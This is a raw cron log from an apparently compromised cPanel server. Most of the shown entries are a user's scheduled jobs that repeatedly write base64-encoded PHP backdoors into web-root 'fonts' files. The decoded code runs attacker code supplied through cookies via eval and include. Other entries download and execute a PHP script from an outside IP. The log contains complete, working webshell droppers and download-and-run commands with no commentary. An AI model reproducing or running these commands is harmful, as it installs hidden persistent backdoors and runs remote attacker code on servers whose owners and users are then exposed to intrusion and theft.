Sep 11 04:45:01 ip-184-168-122-23 CROND[32358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:45:01 ip-184-168-122-23 CROND[32359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:45:01 ip-184-168-122-23 CROND[32361]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:45:01 ip-184-168-122-23 CROND[32362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:45:01 ip-184-168-122-23 CROND[32363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:45:01 ip-184-168-122-23 CROND[32366]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:46:01 ip-184-168-122-23 CROND[32494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:46:01 ip-184-168-122-23 CROND[32495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:46:01 ip-184-168-122-23 CROND[32501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:46:01 ip-184-168-122-23 CROND[32502]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:46:01 ip-184-168-122-23 CROND[32498]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 04:46:01 ip-184-168-122-23 CROND[32503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:46:01 ip-184-168-122-23 CROND[32499]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 04:47:01 ip-184-168-122-23 CROND[32671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:47:01 ip-184-168-122-23 CROND[32672]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:47:01 ip-184-168-122-23 CROND[32676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:47:01 ip-184-168-122-23 CROND[32677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:48:01 ip-184-168-122-23 CROND[399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:48:01 ip-184-168-122-23 CROND[401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:48:01 ip-184-168-122-23 CROND[404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:48:01 ip-184-168-122-23 CROND[405]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:48:01 ip-184-168-122-23 CROND[407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:49:01 ip-184-168-122-23 CROND[516]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 11 04:49:01 ip-184-168-122-23 CROND[519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:49:01 ip-184-168-122-23 CROND[518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:49:01 ip-184-168-122-23 CROND[520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:49:01 ip-184-168-122-23 CROND[517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:50:01 ip-184-168-122-23 CROND[661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:50:01 ip-184-168-122-23 CROND[663]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 04:50:01 ip-184-168-122-23 CROND[665]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:50:01 ip-184-168-122-23 CROND[674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:50:01 ip-184-168-122-23 CROND[666]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:50:01 ip-184-168-122-23 CROND[670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:50:01 ip-184-168-122-23 CROND[676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:50:01 ip-184-168-122-23 CROND[669]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 04:50:01 ip-184-168-122-23 CROND[672]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:51:01 ip-184-168-122-23 CROND[835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:51:01 ip-184-168-122-23 CROND[836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:51:01 ip-184-168-122-23 CROND[839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:51:01 ip-184-168-122-23 CROND[840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:52:01 ip-184-168-122-23 CROND[959]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:52:01 ip-184-168-122-23 CROND[962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:52:01 ip-184-168-122-23 CROND[961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:52:01 ip-184-168-122-23 CROND[963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:52:01 ip-184-168-122-23 CROND[964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:53:01 ip-184-168-122-23 CROND[1203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:53:01 ip-184-168-122-23 CROND[1207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:53:01 ip-184-168-122-23 CROND[1205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:53:01 ip-184-168-122-23 CROND[1206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:54:01 ip-184-168-122-23 CROND[1337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:54:01 ip-184-168-122-23 CROND[1339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:54:01 ip-184-168-122-23 CROND[1342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:54:01 ip-184-168-122-23 CROND[1340]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:54:01 ip-184-168-122-23 CROND[1341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:55:01 ip-184-168-122-23 CROND[1490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:55:01 ip-184-168-122-23 CROND[1491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:55:01 ip-184-168-122-23 CROND[1495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:55:01 ip-184-168-122-23 CROND[1496]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:55:01 ip-184-168-122-23 CROND[1493]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:55:01 ip-184-168-122-23 CROND[1499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:56:01 ip-184-168-122-23 CROND[1599]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:56:01 ip-184-168-122-23 CROND[1601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:56:01 ip-184-168-122-23 CROND[1600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:56:01 ip-184-168-122-23 CROND[1602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:56:01 ip-184-168-122-23 CROND[1604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:57:01 ip-184-168-122-23 CROND[1704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
